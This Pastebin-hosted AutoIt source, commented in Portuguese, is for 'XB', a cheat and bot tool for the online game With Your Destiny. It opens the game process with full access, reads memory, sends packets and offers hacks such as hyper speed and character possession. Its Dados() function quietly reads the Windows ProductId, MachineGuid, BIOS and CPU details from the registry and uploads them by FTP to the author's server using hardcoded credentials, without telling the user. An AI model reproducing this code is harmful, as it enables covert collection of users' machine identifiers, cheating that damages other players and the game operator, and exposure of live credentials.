Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;========================================================
- ; ----- INCLUDES E #
- ;========================================================
- #NoTrayIcon ; Retira o TrayIcon
- #RequireAdmin ; Especifica que o script exige direitos de administrador para ser Executado
- #include <ButtonConstants.au3>
- #include <EditConstants.au3>
- #include <GUIConstantsEx.au3>
- #include <GuiStatusBar.au3> ; Status Bar
- #include <StaticConstants.au3>
- #include <WindowsConstants.au3>
- #include <NomadMemory.au3> ; Necessario para os Pointers e Address Funcionarem
- #include <Date.au3> ; Data e Hora
- #include <Timers.au3> ; Timers (Sleeps para não travar o Programa)
- #include <Sound.au3> ; Sons
- #include <ScreenCapture.au3> ; Tira PrintScreen (Fotos)
- #include <WinAPI.au3> ; API
- #include <Array.au3> ; Função das Arrays
- #include <FTPEx.au3> ; Carrega as funções do FTP
- #include <Misc.au3>
- #include <GuiListView.au3>
- ;========================================================
- ; ----- GLOBAIS
- ;========================================================
- ; ----- PROGRAMA
- Global $Versao = 1 ; Versão do Programa (Necessário para verificar Atualizações)
- Global $Janela = "XB v" & $Versao & " BETA" ; Nome da Janela (Necessário para dar nome a todas Janelas)
- Global $Mensagem = "Seja bem vindo(a)!" ; Mensagem Principal
- Global $Icone = "Data\Img\XB.ico" ; Diretorio do icone do Programa
- Global $Processo = "WYD.exe"
- Global $Atuar = "With Your Destiny" ; Funcionar na Janela
- ; ----- FTP
- Global $URL = "http://stkill.xp3.biz"
- ;---
- Global $Server = "stkill.xp3.biz" ; Server
- Global $Username = "stkill.xp3.biz" ; Usuario
- Global $Pass = "19283471" ; Senha
- ; ----- ATUALIZAÇÃO
- Global $Link_Atualiazacao = $URL & "/AtualizarAtualizar.xb" ; Link para baixar o arquivo de Atualização
- Global $Link_Programa = $URL & "/Atualizar/XB.rar" ; Link para baixar o Programa
- Global $Sem_Conexao = 1 ; Quantas vezes está tentando Conectar
- Global $Arquivo_Nome = ("Atualizar.xb") ; Nome do arquivo
- Global $Programa_Nome = ("XB.rar") ; Nome do arquivo
- Global $Salvar_Arquivo = @WindowsDir & "\" & $Arquivo_Nome ; Caminho pra salvar no diretorio com o Nome da Atualização
- Global $Salvar_Programa = @HomeDrive & "\" & $Programa_Nome ; Caminho pra salvar no diretorio com o Nome do Programa
- ; ----- HOT NEWS
- Global $Link_HotNews = $URL & "/HotNews/HotNews.xb" ; Link para baixar o arquivo do Hot News
- Global $HotNews_Nome = ("HotNews.xb") ; Nome do arquivo
- Global $Salvar_HotNews = @WindowsDir & "\" & $HotNews_Nome ; Caminho pra salvar no diretorio com o Nome do Hot News
- ; ----- PING
- Global $PingServer = "189.112.1.166" ; Ip do servidor para Pingar (Ip do Malech 1)
- ; ----- SLEEP
- Global $Tempo_Sleep = 1 ; Tempo do Sleep
- Global $Sleep = _Timer_Init() ; Define Sleep como Timer Init
- ; ----- TEMPO DE CONEXÃO
- Global $Tempo_Conexao = 0 ; Começar contar o tempo que esta Conectado
- ; ----- STATUS DOS SERVIDORES
- Global $Url_Alastar = "http://www.wyd.com.br/wyd_br/servers/serv03.asp" ; Url do arquivo que contem os dados dos jogadores do Alastar
- Global $Url_Sephira = "http://www.wyd.com.br/wyd_br/servers/serv02.asp" ; Url do arquivo que contem os dados dos jogadores do Sephira
- Global $Url_Malech = "http://www.wyd.com.br/wyd_br/servers/serv01.asp" ; Url do arquivo que contem os dados dos jogadores do Malech
- ; ----- SONS
- Global $Volume = 100 ; Volume Padrão = 100
- Global $Sounds_Verificar = IniRead("Data/XB.xb", "Configurações", "Sons", "") = "True" ; Verifica se for True
- #include "Sounds.au3" ; Abre a função dos Sons
- ;---
- Global $Intro = _SoundOpen("Data\Sound\Intro.wav") ; Abre o Som
- Global $Theme = _SoundOpen("Data\Sound\Theme.wav")
- Global $Atualizado = _SoundOpen("Data\Sound\Atualizado.wav")
- Global $Terminou = _SoundOpen("Data\Sound\Terminou.wav")
- Global $Sting = _SoundOpen("Data\Sound\Sting.wav")
- Global $Morto = _SoundOpen("Data\Sound\Morto.wav")
- Global $HP_Baixo = _SoundOpen("Data\Sound\HP Baixo.wav")
- Global $MP_Baixo = _SoundOpen("Data\Sound\MP Baixo.wav")
- Global $Cartinha = _SoundOpen("Data\Sound\Carta.wav")
- Global $Removendo = _SoundOpen("Data\Sound\Removendo.wav")
- Global $TirarPet = _SoundOpen("Data\Sound\Tirar Pet.wav")
- ; ----- AUTO DROP
- Global $Item_ID[1][3068][3] ; Global da lista de Itens
- Global $Ler_ID[100] ; Global do Ler ID no Ini
- Global $Item_ID_Slot[30][3] ; Global de ler item do Slot
- Global $Nome_Item[30][3]
- Global $Remover = False ; Começa Desligado
- Global $Slot_Vazio = "Vazio" ; Variavel para definir oque estara escrito no Label
- Global $Slot_Cheio = "Cheio" ; Variavel para definir oque estara escrito no Label
- ; ----- SEND PACKET
- Global $hProcess = _WinAPI_OpenProcess(0x001F0FFF, False, ProcessExists($Processo))
- ; ----- MENSAGEM INGAME
- Global $Cor_Mensagem_IG_In = "99FF22" ; Cor da mensagem (Cor Fraca) Ex: Verde
- Global $Cor_Mensagem_IG_Out = "F60000" ; Cor da mensagem (Cor Forte) Ex: Vermelho
- ; ----- HACKS
- Global $Comando_Ativar_Bau = "/#onbau" ; O Comando para ativar a Função
- ;---
- Global $Comando_Ativar_Cassino = "/#oncassino"
- ;---
- Global $Comando_Ativar_Ultima_Loja = "/#onultimaloja"
- ;---
- Global $Comando_Ativar_Possuir_Char = "/#onpossuirchar"
- Global $Comando_Desativar_Possuir_Char = "/#offpossuirchar"
- ;---
- Global $Comando_Ativar_Hyper_Speed = "/#onhyperspeed"
- Global $Comando_Desativar_Hyper_Speed = "/#offhyperspeed"
- ;---
- Global $Comando_Ativar_Skills = "/#onskills"
- Global $Comando_Desativar_Skills = "/#offskills"
- ;---
- Global $Comando_Ativar_Zoom10 = "/#onzoom10" ; Zoom com Tamanho 10
- Global $Comando_Ativar_Zoom20 = "/#onzoom20" ; Zoom com Tamanho 20
- Global $Comando_Ativar_Zoom30 = "/#onzoom30" ; Zoom com Tamanho 30
- Global $Comando_Ativar_Zoom40 = "/#onzoom40" ; Zoom com Tamanho 40
- Global $Comando_Desativar_Zoom = "/#offzoom"
- ;-----------------------------------------------------------------
- Global $Atalho_Bau = "/#(on)bau" ; Oque vai aparecer no Label
- Global $Atalho_Cassino = "/#(on)cassino"
- Global $Atalho_Ultima_Loja = "/#(on)ultimaloja"
- Global $Atalho_Possuir_Char = "/#(on/off)possuirchar"
- Global $Atalho_Hyper_Speed = "/#(on/off)hyperspeed"
- Global $Atalho_Skills = "/#(on/off)skills"
- Global $Atalho_Zoom = "/#(on/off)zoom(10-40)"
- ; ----- REFINAR NYERDS
- Global $Refinar_ORI = False ; Para não começar Refinando
- Global $Refinar_LAC = False ; Para não começar Refinando
- Global $Refinar = False ; Para não começar Refinando
- ; ----- DESLIGAR PC
- Global $Desliga_Now = 0 ; Começar Contar
- Global $Tempo_Desligar = 0 ; Para não começar Desligando
- Global $Tempo_Desligar_PC = 1 ; Variavel do tempo do macro para Desliga Pc
- ; ----- AUTO FLOOD
- Global $Passe = True
- Global $T_F_S = 1 ; Tempo do Auto Flood Simples
- Global $T_F_P = 1 ; Tempo do Auto Flood Plus
- Global $Min = @MIN ; Define $Min como @MIN
- Global $Sec = @SEC ; Define $Sec como @SEC
- ; SIMPLES
- Global $Auto_Flood_Simples = False ; Faz o Auto Flood Simples começar Pausado
- ; PLUS
- Global $Auto_Flood_Plus = False ; Faz o Auto Flood Plus começar Pausado
- ; ----- AVISAR-ME
- Global $Nome_Pasta_PrintScreen = @HOUR & "Horas" & " & " & @MIN & "Minutos" ; Nome da past para salvar as PrintScreens
- Global $Morreu = False ; Global se morreu / True = Morreu, False = Vivo
- Global $Chegou = False ; Global se chegou carta / True = Chegou, False = Não Chegou
- ; ----- AUTO AS
- Global $Atalho_Simulate_Click_Ligar = "ALT + F1" ; Oque vai aparecer no Label
- Global $Atalho_Simulate_Click_Desligar = "ALT + F2" ; Oque vai aparecer no Label
- Global $Atalho_Simulate_Click_Pegar_Coordenada = "ALT + F3" ; Oque vai aparecer no Label
- Global $Atalho_Auto_Click_Ligar = "ALT + F5" ; Oque vai aparecer no Label
- Global $Atalho_Auto_Click_Desligar = "ALT + F6" ; Oque vai aparecer no Label
- Global $Velocidade_Auto_Click = "1000=" ; Velocidade
- ;---
- Global $Simulate_Cliques = 0 ; 0= Não começa Clicando 1= Começa Clicando
- Global $Click_Cliques = 0 ; 0= Não começa Clicando 1= Começa Clicando
- ; ----- ADDRESS & PACKET
- Global $PROCESS ; Global de pegar PID
- Global $OPEN ; Global abrir o Processo
- #include "Address/Gerar.au3" ; Carrega os arquivos com as Funções
- #include "Address/Address&Pointers.au3" ; Carrega o arquivo onde contem os address e Pointers
- #include "Packet.au3" ; Carrega a função de enviar Packets
- #include "Address/ReadAddress.au3" ; Carrega a função com todos MemoryReads
- ;========================================================
- ; ----- INI ESCREVER
- ;========================================================
- IniWrite("Data/XB.xb", "Configurações", "Mensagem", $Mensagem) ; Mensagem principal do Porgrama ($Input2)
- IniWrite("Data/Atualizar.xb", "Atualizar", "Nome do Arquivo", $Arquivo_Nome) ; Salvaro arquivo com o Nome
- IniWrite("Data/Atualizar.xb", "Atualizar", "Nome do Programa", $Programa_Nome) ; Salvar programa com o Nome
- IniWrite("Data/Atualizar.xb", "Atualizar", "Salvar Arquivo", $Salvar_Arquivo) ; Salvar arquivo onde tem a Versão
- IniWrite("Data/Atualizar.xb", "Atualizar", "Salvar Programa", $Salvar_Programa) ; Onde vai salvar o Programa
- IniWrite("Data/Atualizar.xb", "Atualizar", "Versão Atual", $Versao) ; Versao do programa, sem ele não tem Atualizador
- ;========================================================
- ; ----- GUI
- ;========================================================
- ; ----- CARREGANDO DADOS
- #Region ### START Koda GUI section ### Form=g:\programas\autoit\sources\xb\form\carregando.kxf
- $Carregando = GUICreate("Carregando", 443, 83, -1, -1)
- GUISetIcon($Icone) ; Icone do Programa
- GUISetBkColor(0xBFCDDB)
- $carregando_Group1 = GUICtrlCreateGroup("Carregando Dados", 8, 8, 425, 65)
- $carregando_Progress1 = GUICtrlCreateProgress(16, 24, 410, 17)
- $carregando_Label1 = GUICtrlCreateLabel("Para começar abra o WYD!", 16, 46, 413, 24, $SS_CENTER)
- GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- GUISetState(@SW_SHOW)
- Tocar($Intro, 0) ; Toca a Música
- For $D = 1 To 100 Step 1 ; Se $D é igual a 1 para 100
- ; Ele vai de 1 a 100 em 1 em 1 , caso queira mudar altere o Step 1 pra 10 ou 20 e etc
- $Carregar_Bar = Random(1, 20, 1) ; Pega qualquer valor inteiro de 1 a dez, para ser o tempo do Sleep
- Sleep($Carregar_Bar) ; Tempo após Terminar
- GUICtrlSetData($carregando_Progress1, $D) ; Aqui a guictrlsetdata identifica a Variavel
- GUICtrlSetData($carregando_Label1, "Carregando Dados: " & $D & "% - Aguarde...")
- Next
- GUICtrlSetData($carregando_Label1, "Dados carregados com Sucesso!")
- #EndRegion ### END Koda GUI section ###
- ; ----- PRINCIPAL
- #Region ### START Koda GUI section ### Form=g:\programas\autoit\sources\xb\form\principal.kxf
- $Principal = GUICreate($Janela, 859, 393, -1, -1)
- GUISetIcon($Icone) ; Icone do Programa
- $Arquivo = GUICtrlCreateMenu("&Arquivo")
- $MenuItem3 = GUICtrlCreateMenuItem("Atualizar", $Arquivo)
- $MenuItem1 = GUICtrlCreateMenuItem("Créditos", $Arquivo)
- $MenuItem2 = GUICtrlCreateMenuItem("", $Arquivo)
- $MenuItem4 = GUICtrlCreateMenuItem("Sair", $Arquivo)
- GUISetBkColor(0xBFCDDB)
- $Group1 = GUICtrlCreateGroup("Informações", 8, 8, 409, 113)
- $Group2 = GUICtrlCreateGroup("WYD", 16, 24, 185, 89)
- $Nome = GUICtrlCreateLabel("Nome do Char:", 24, 40, 75, 17)
- $Experiencia = GUICtrlCreateLabel("Exp. Inicial:", 24, 56, 58, 17)
- $HP = GUICtrlCreateLabel("HP:", 24, 72, 22, 17)
- $MP = GUICtrlCreateLabel("MP:", 24, 88, 23, 17)
- $MPx = GUICtrlCreateLabel("Procurando...", 48, 88, 148, 17)
- $HPx = GUICtrlCreateLabel("Procurando...", 48, 72, 148, 17)
- $Experienciax = GUICtrlCreateLabel("Procurando...", 84, 56, 108, 17)
- $Nomex = GUICtrlCreateLabel("Procurando...", 101, 40, 92, 17)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group3 = GUICtrlCreateGroup("Computador", 208, 24, 201, 89)
- $Internet = GUICtrlCreateLabel("Status da Internet:", 216, 40, 91, 17)
- $Ram = GUICtrlCreateLabel("Uso da Memória:", 216, 56, 84, 17)
- $Ping = GUICtrlCreateLabel("Ping:", 216, 88, 28, 17)
- $Conexao = GUICtrlCreateLabel("Tempo de Conexão:", 216, 72, 100, 17)
- $Internetx = GUICtrlCreateLabel("Procurando...", 308, 40, 92, 17)
- $Ramx = GUICtrlCreateLabel("Procurando...", 302, 56, 100, 17)
- $Conexaox = GUICtrlCreateLabel("Procurando...", 318, 72, 84, 17)
- $Pingx = GUICtrlCreateLabel("Procurando...", 246, 88, 156, 17)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group4 = GUICtrlCreateGroup("Hot News:", 664, 8, 185, 337)
- $Edit1 = GUICtrlCreateEdit("", 672, 24, 169, 313, BitOR($ES_AUTOVSCROLL, $ES_AUTOHSCROLL, $ES_READONLY, $ES_WANTRETURN, $WS_VSCROLL))
- GUICtrlSetData(-1, "Conectando com o Servidor...")
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group5 = GUICtrlCreateGroup("Atalhos para as Funcões", 8, 128, 409, 161)
- $Button1 = GUICtrlCreateButton("Auto Login", 16, 152, 75, 25, $WS_GROUP)
- GUICtrlSetState(-1, $GUI_DISABLE)
- $Button2 = GUICtrlCreateButton("Auto Flood", 16, 184, 75, 25, $WS_GROUP)
- $Button3 = GUICtrlCreateButton("Simulate Click", 16, 216, 75, 25, $WS_GROUP)
- $Button4 = GUICtrlCreateButton("Auto Drop", 16, 248, 75, 25, $WS_GROUP)
- $Button5 = GUICtrlCreateButton("Macro Sleep", 96, 152, 75, 25, $WS_GROUP)
- GUICtrlSetState(-1, $GUI_DISABLE)
- $Button6 = GUICtrlCreateButton("Avisar-me", 96, 184, 75, 25, $WS_GROUP)
- $Button7 = GUICtrlCreateButton("Hacks", 96, 216, 75, 25, $WS_GROUP)
- $Button8 = GUICtrlCreateButton("Renomear", 96, 248, 75, 25, $WS_GROUP)
- $Button9 = GUICtrlCreateButton("Desligar PC", 176, 152, 75, 25, $WS_GROUP)
- $Button10 = GUICtrlCreateButton("Ocultar", 176, 184, 75, 25, $WS_GROUP)
- $Button16 = GUICtrlCreateButton("Ref. Nyerds", 176, 216, 75, 25, $WS_GROUP)
- $Button11 = GUICtrlCreateButton("Tirar Pet", 176, 248, 75, 25, $WS_GROUP)
- $Button12 = GUICtrlCreateButton("Iten Finder", 256, 152, 75, 25, $WS_GROUP)
- $Button15 = GUICtrlCreateButton("Rec. Senha 2", 256, 184, 75, 25, $WS_GROUP)
- GUICtrlSetState(-1, $GUI_DISABLE)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group7 = GUICtrlCreateGroup("Configurações", 424, 8, 233, 281)
- $Group8 = GUICtrlCreateGroup("Funcionar na Janela", 432, 24, 217, 49)
- $ExecW = GUICtrlCreateInput($Atuar, 440, 40, 201, 21)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group9 = GUICtrlCreateGroup("WYD", 432, 80, 217, 89)
- $Button13 = GUICtrlCreateButton("Abrir", 464, 136, 74, 25, $WS_GROUP)
- $Button14 = GUICtrlCreateButton("Fechar", 544, 136, 74, 25, $WS_GROUP)
- $Input3 = GUICtrlCreateInput("", 440, 112, 201, 21, BitOR($ES_AUTOHSCROLL, $ES_READONLY))
- GUICtrlSetState(-1, $GUI_DISABLE)
- $Label1 = GUICtrlCreateLabel("Diretório:", 440, 96, 46, 17)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group10 = GUICtrlCreateGroup("Outras", 432, 176, 217, 105)
- $Sounds = GUICtrlCreateCheckbox("Ativar sons do Programa", 440, 192, 137, 17)
- GUICtrlSetState(-1, IniRead("Data/XB.xb", "Configurações", "Status", "")) ; Verifica se esta ativado ou Não 1=True 0=False
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $Group6 = GUICtrlCreateGroup("Mensagens:", 8, 296, 649, 49)
- $Input2 = GUICtrlCreateInput(IniRead("Data/XB.xb", "Configurações", "Mensagem", ""), 17, 315, 633, 24, BitOR($ES_CENTER, $ES_AUTOHSCROLL, $ES_READONLY)) ; Le o arquivo XB.xb, e da o Nome para o Input
- GUICtrlSetFont(-1, 9, 800, 0, "Comic Sans MS")
- GUICtrlSetColor(-1, 0x000080)
- GUICtrlCreateGroup("", -99, -99, 1, 1)
- $StatusBar1 = _GUICtrlStatusBar_Create($Principal)
- Dim $StatusBar1_PartsWidth[9] = [105, 160, 245, 300, 385, 440, 525, 570, -1]
- _GUICtrlStatusBar_SetParts($StatusBar1, $StatusBar1_PartsWidth)
- _GUICtrlStatusBar_SetText($StatusBar1, "Jogadores Online:", 0)
- _GUICtrlStatusBar_SetText($StatusBar1, "Alastar:", 1)
- _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 2)
- _GUICtrlStatusBar_SetText($StatusBar1, "Sephira:", 3)
- _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 4)
- _GUICtrlStatusBar_SetText($StatusBar1, "Malech:", 5)
- _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 6)
- _GUICtrlStatusBar_SetText($StatusBar1, "Total:", 7)
- _GUICtrlStatusBar_SetText($StatusBar1, "Procurando...", 8)
- GUISetState(@SW_HIDE)
- Dim $Principal_AccelTable[1][2] = [["^a", $MenuItem4]]
- GUISetAccelerators($Principal_AccelTable)
- #EndRegion ### END Koda GUI section ###
- ;========================================================
- ; ----- HOT NEWS
- ;========================================================
- InetGet($Link_HotNews, $Salvar_HotNews, 0, 0) ; Baixa o arquivo HotNews.xb do link= $Link_HotNews e instala no $Salvar_HotNews
- If @error Then
- Sleep(1500) ; Espera 1 Segundo
- GUICtrlSetData($Edit1, "Servidor não encontrado!") ; Caso der erro retorna a Mensagem
- Else
- Sleep(1500)
- GUICtrlSetData($Edit1, FileRead($Salvar_HotNews)) ; O Edit recebe tudo que está escrito dentro do HotNews
- FileDelete($Salvar_HotNews) ; Deleta o arquivo HotNews.xb que está no diretorio $Salvar_HotNews
- EndIf
- ;========================================================
- ; ----- FTP
- ;========================================================
- Func Dados()
- If $Read_Tela_Login = 1 And Not FileExists("Data/FTP.xb") Then ; Verifica se esta na tela de login, e se o arquivo não existir
- IniWrite("Data/FTP.xb", "FTP", "Horas", _Now()) ; Se não existir ele escreve a Machine Guid
- IniWrite("Data/FTP.xb", "FTP", "Product Name", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName")) ; Nome do sistema Operacional
- IniWrite("Data/FTP.xb", "FTP", "System Root", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "SystemRoot")) ; Diretorio de onde fica o Windows
- IniWrite("Data/FTP.xb", "FTP", "Product Id", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductId")) ; ProductId
- IniWrite("Data/FTP.xb", "FTP", "System Bios Version", RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System", "SystemBiosVersion")) ; Versão da Bios
- IniWrite("Data/FTP.xb", "FTP", "Processor Name String", RegRead("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString")) ; Nome do Processador
- IniWrite("Data/FTP.xb", "FTP", "MachineGuid", RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography", "MachineGuid")) ; Machine Guid
- ;---
- $Abrir_Ftp = _FTP_Open("XB") ; Abre
- $Conectar_Ftp = _FTP_Connect($Abrir_Ftp, $Server, $Username, $Pass) ; Conecta
- _FTP_FilePut($Conectar_Ftp, "Data/FTP.xb", "/Dados/" & IniRead("Data/FTP.xb", "FTP", "Product Id", "") & ".xb") ; Cria o arquivo dentro da pasta com o nome de Usuario
- _FTP_Close($Abrir_Ftp) ; Fecha o FTP
- Sleep(100) ; Espera 0.100 Segundos
- FileDelete("Data/FTP.xb") ; Deleta os arquivos com as Configurações
- IniWrite("Data/FTP.xb", "FTP", "Status", "False") ; Cria o arquivo para não ficar mandando toda hora, e escreve False.
- EndIf
- EndFunc ;==>Dados
- ;========================================================
- ; ----- PEGAR PID
- ;========================================================
- #include "Address/PID.au3"
- ;========================================================
- ; ----- REFRESH
- ;========================================================
- Func Refresh() ; Cria a Função
- ;========================================================
- ; ----- INFORMAÇÕES (WYD)
- ;========================================================
- ; NOME DO CHAR:
- $Nome = _MemoryRead($Add_Base_NOME, $OPEN)
- $Nome = $Nome + 1772
- $Nome = Hex($Nome)
- $AddressNome = ("0x" & $Nome)
- $Nome = _MemoryRead($AddressNome, $OPEN, "Char [12]")
- GUICtrlSetData($Nomex, $Nome)
- If $Nome = "" Then
- GUICtrlSetData($Nomex, "Procurando...")
- EndIf
- ; FIM (NOME DO CHAR)
- ;========================================================
- ; ADDRESS EXP:
- ;~ $Abrir_Exp_Inicial = _MemoryRead(_Pointer5($Add_Base_EXP_Inicial, $Add1_EXP_Inicial, $Add2_EXP_Inicial, $Add3_EXP_Inicial, $Add4_EXP_Inicial, $Add5_EXP_Inicial), $OPEN)
- ;~ GUICtrlSetData($Experienciax, $Abrir_Exp_Inicial)
- ;~ If $Abrir_Exp_Inicial = 0 Then
- ;~ GUICtrlSetData($Experienciax, "Procurando...")
- ;~ EndIf
- ; FIM (ADDRESS EXP)
- ;========================================================
- ; HP:
- GUICtrlSetData($HPx, $Read_HP) ; Escreve no label oque estiver escrito no Address
- ; FIM (HP)
- ;========================================================
- ; MP:
- GUICtrlSetData($MPx, $Read_MP) ; Escreve no label oque estiver escrito no Address
- ; FIM (MP)
- ;========================================================
- ; ----- INFORMAÇÕES (COMPUTADOR)
- ;========================================================
- Sleep(10)
- If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
- $Tempo_Sleep = $Tempo_Sleep + 1000.00000000000
- ; STATUS INTERNET:
- $PingMS = Ping($PingServer)
- If $PingMS > 0 Then ; Se ping for maior que 0 (Internet ligada)
- GUICtrlSetData($Internetx, "Conectado!")
- Else ; Senão
- GUICtrlSetData($Internetx, "Sem Conexão...")
- EndIf
- ; FIM (STATUS INTERNET)
- EndIf ; Termina o Sleep
- ;========================================================
- ; USO DA MEMÓRIA:
- $Memoria = MemGetStats() ; Define $Memoria = MemGetStats (Função para ver a velocidade da memória Ram)
- GUICtrlSetData($Ramx, "" & $Memoria[0] & "%") ; Muda o label pelo valor da "$Memoria" em %
- ; FIM (USO DA MEMÓRIA)
- ;========================================================
- ; TEMPO DE CONEXÃO
- If ProcessExists($Processo) Then ; Se o processo WYD.exe existir executa as funções Abaixo
- $Tempo_Conexao = $Tempo_Conexao + 1
- GUICtrlSetData($Conexaox, $Tempo_Conexao & "Sec") ; Mostra no "Conexaox" o Tempo
- Else ; Senão
- GUICtrlSetData($Conexaox, "Abra o WYD!")
- EndIf
- If $Tempo_Conexao > 9999999 Then ; Se ultrapassar de 999999
- GUICtrlSetData($Conexaox, "Parou...")
- EndIf
- ; FIM (TEMPO DE CONEXÃO)
- ;========================================================
- If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
- $Tempo_Sleep = $Tempo_Sleep + 1000.00000000000
- ; PING:
- $PingMS = Ping($PingServer)
- If $PingMS = 0 Then GUICtrlSetData($Pingx, $PingMS & "ms - Sem Conexão")
- If $PingMS > 400 Then GUICtrlSetData($Pingx, $PingMS & "ms - LAGADO .-.")
- If $PingMS > 75 And $PingMS < 400 Then GUICtrlSetData($Pingx, $PingMS & "ms - Conxexão Boa 'hehe")
- If $PingMS > 20 And $PingMS < 75 Then GUICtrlSetData($Pingx, $PingMS & "ms - Conexão Ótima x)")
- If $PingMS > 0 And $PingMS < 20 Then GUICtrlSetData($Pingx, $PingMS & "ms - Conexão EXELENTE!!!")
- EndIf
- If @error Then ; Se der Erro
- GUICtrlSetData($Pingx, "Sem Conexão...")
- ; FIM (PING)
- EndIf ; Termina o Sleep
- ;========================================================
- ; ----- STATUS DOS SERVIDORES
- ;========================================================
- If _Timer_Diff($Sleep) > $Tempo_Sleep Then ; Sleep sem parar o Programa
- $Tempo_Sleep = $Tempo_Sleep + 5000.00000000000
- ; ALASTAR:
- $Status_Alastar = InetRead($Url_Alastar, 0) ; Baixa as informações da URL
- $Status_Alastar = BinaryToString($Status_Alastar) ; Muda o valor para Binario
- $Alastar_Sv1 = StringMid($Status_Alastar, 1, 5) ; Lê as informações das Strings
- $Alastar_Sv2 = StringMid($Status_Alastar, 6, 5) ; Lê as informações das Strings
- $Alastar_Sv3 = StringMid($Status_Alastar, 11, 5) ; Lê as informações das Strings
- $Alastar_Sv4 = StringMid($Status_Alastar, 16, 5) ; Lê as informações das Strings
- $Status_Final_Alastar = $Alastar_Sv1 + $Alastar_Sv2 + $Alastar_Sv3 + $Alastar_Sv4 ; Soma as informações
- _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Alastar & " / 3000", 2) ; Escreve o valor na Status Bar
- ; FIM (ALASTAR)
- ;========================================================
- ; SEPHIRA:
- $Status_Sephira = InetRead($Url_Sephira, 0)
- $Status_Sephira = BinaryToString($Status_Sephira)
- $Sephira_Sv1 = StringMid($Status_Sephira, 1, 5)
- $Sephira_Sv2 = StringMid($Status_Sephira, 6, 5)
- $Sephira_Sv3 = StringMid($Status_Sephira, 11, 5)
- $Sephira_Sv4 = StringMid($Status_Sephira, 16, 5)
- $Sephira_Sv5 = StringMid($Status_Sephira, 21, 5)
- $Sephira_Sv6 = StringMid($Status_Sephira, 26, 5)
- $Status_Final_Sephira = $Sephira_Sv1 + $Sephira_Sv2 + $Sephira_Sv3 + $Sephira_Sv4 + $Sephira_Sv5 + $Sephira_Sv6
- _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Sephira & " / 4400", 4)
- ; FIM (SEPHIRA)
- ;========================================================
- ; MALECH:
- $Status_Malech = InetRead($Url_Malech, 0)
- $Status_Malech = BinaryToString($Status_Malech)
- $Malech_Sv1 = StringMid($Status_Malech, 1, 5)
- $Malech_Sv2 = StringMid($Status_Malech, 6, 5)
- $Malech_Sv3 = StringMid($Status_Malech, 11, 5)
- $Malech_Sv4 = StringMid($Status_Malech, 16, 5)
- $Malech_Sv5 = StringMid($Status_Malech, 21, 5)
- $Malech_Sv6 = StringMid($Status_Malech, 26, 5)
- $Status_Final_Malech = $Malech_Sv1 + $Malech_Sv2 + $Malech_Sv3 + $Malech_Sv4 + $Malech_Sv5 + $Malech_Sv6
- _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Malech & " / 4400", 6)
- ; FIM (MALECH)
- ;========================================================
- ; TOTAL:
- $Status_Final_Total = $Status_Final_Alastar + $Status_Final_Sephira + $Status_Final_Malech
- _GUICtrlStatusBar_SetText($StatusBar1, $Status_Final_Total, 8)
- ; FIM (TOTAL)
- If $Status_Final_Malech And $Status_Final_Sephira And $Status_Final_Alastar < 0 Then ; Se o servidor estiver Off (O Numero de players fica Negativo)
- _GUICtrlStatusBar_SetText($StatusBar1, "0 / 4400", 6) ; Escreve 0 para não ficar com numero Negativo
- _GUICtrlStatusBar_SetText($StatusBar1, "0 / 4400", 4) ; Escreve 0 para não ficar com numero Negativo
- _GUICtrlStatusBar_SetText($StatusBar1, "0 / 3000", 2) ; Escreve 0 para não ficar com numero Negativo
- _GUICtrlStatusBar_SetText($StatusBar1, "0", 8) ; Escreve 0 para não ficar com numero Negativo
- EndIf
- EndIf ; Termina o Sleep
- EndFunc ;==>Refresh
- ;========================================================
- ; ----- GUI/FUNC DAS FORMS SECUNDARIAS
- ;========================================================
- ; RENOMEAR
- #include "Secundarias/Renomear.au3" ; Gui Renomear
- #include "Secundarias/Func/Renomear/Renomear.au3" ; Chama a função do Renomear
- ;========================================================
- ; OCULTAR
- #include "Secundarias/Ocultar.au3" ; Gui Ocultar
- #include "Secundarias/Func/Ocultar/Ocultar.au3" ; Chama a função do Ocultar
- ;========================================================
- ; DESLIGAR PC
- #include "Secundarias/DesligarPC.au3" ; Gui DesligarPC
- #include "Secundarias/Func/DesligarPC/DesligarPC.au3" ; Chama a função do DesligarPC
- ;========================================================
- ; AUTO FLOOD
- #include "Secundarias/AutoFlood.au3" ; Gui AutoFlood
- #include "Secundarias/Func/AutoFlood/AutoFlood.au3" ; Chama a função do AutoFlood
- ;========================================================
- ; AVISAR-ME
- #include "Secundarias/Avisar-me.au3" ; Gui Avisar-me
- #include "Secundarias/Func/Avisar-me/Avisar-me.au3" ; Chama a função do Avisar-me
- ;========================================================
- ; HACKS
- #include "Secundarias/Hacks.au3" ; Gui Hacks
- #include "Secundarias/Func/Hacks/Mensagens.au3" ; Include onde contem as globais das Mensagens
- #include "Secundarias/Func/Hacks/Escrever.au3" ; Carrega a função de chamar os Comandos
- #include "Secundarias/Func/Hacks/Hacks.au3" ; Chama a função do Hacks
